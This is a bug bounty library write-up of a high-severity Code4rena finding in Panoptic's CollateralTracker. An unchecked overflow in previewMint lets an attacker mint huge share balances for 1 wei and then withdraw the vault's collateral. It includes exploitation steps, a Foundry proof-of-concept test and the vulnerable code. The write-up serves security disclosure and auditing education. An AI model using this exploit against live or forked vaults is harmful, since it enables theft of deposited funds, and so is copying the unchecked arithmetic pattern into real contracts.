# Overflow in CollateralTracker allows minting shares for free

Unchecked multiplication in CollateralTracker.previewMint overflows for large shares input, letting attacker mint huge share amounts for 1 wei of assets.

- Payout: Audit contest
- Severity: high
- Program: Panoptic
- Found by: 0xLogos
- Disclosed: 2024-06-24
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-04-panoptic-findings/issues/438
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-panoptic%3AH-02
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:share-inflation

**Target:** CollateralTracker.sol mint/previewMint (Solidity ERC4626-style vault)
**Root cause:** previewMint computes shares * DECIMALS inside an unchecked block; a large user-supplied shares value overflows the multiplication, yielding a tiny assets requirement.
**Steps:**
1. Call `mint(shares, receiver)` on CollateralTracker with `shares = type(uint).max / 10000 + 1`
2. previewMint computes `shares * DECIMALS` in unchecked block, overflowing to a small value
3. assets returned is 1 wei, passing the `assets > type(uint104).max` check
4. Attacker receives `shares` balance for 1 wei of assets
5. Withdraw collateral against the inflated share balance
**How found:** Code review of mint path: user-controlled shares flows directly into previewMint's unchecked `shares * DECIMALS` multiplication; recognized overflow yields near-zero assets.
**Exploitation:** Attacker approves token, calls mint with overflow-inducing shares value, receives full shares balance for 1 wei assets, then withdraws all collateral from the vault.
**Insight:** In share/asset vault math, trace user-controlled share amounts into unchecked blocks; overflow in the numerator of mulDiv can invert the cost of minting, so check every unchecked arithmetic on user input.

## Proof of concept (copied exactly from the original report)

**PoC test minting shares for free via overflow**

```
function test_poc1(uint256 x) public {
     _initWorld(x);
     _grantTokens(Bob);

     vm.startPrank(Bob);

     uint shares = type(uint).max / 10000 + 1;
     IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
     uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);

     assertEq(shares, collateralToken0.balanceOf(Bob));
     assertEq(returnedAssets0, 1);
    }
```

**Overflowing previewMint unchecked multiplication**

```
function previewMint(uint shares) public view returns (uint assets) {
     unchecked {
     assets = Math.mulDivRoundingUp(
     shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
     );
     }
    }
```

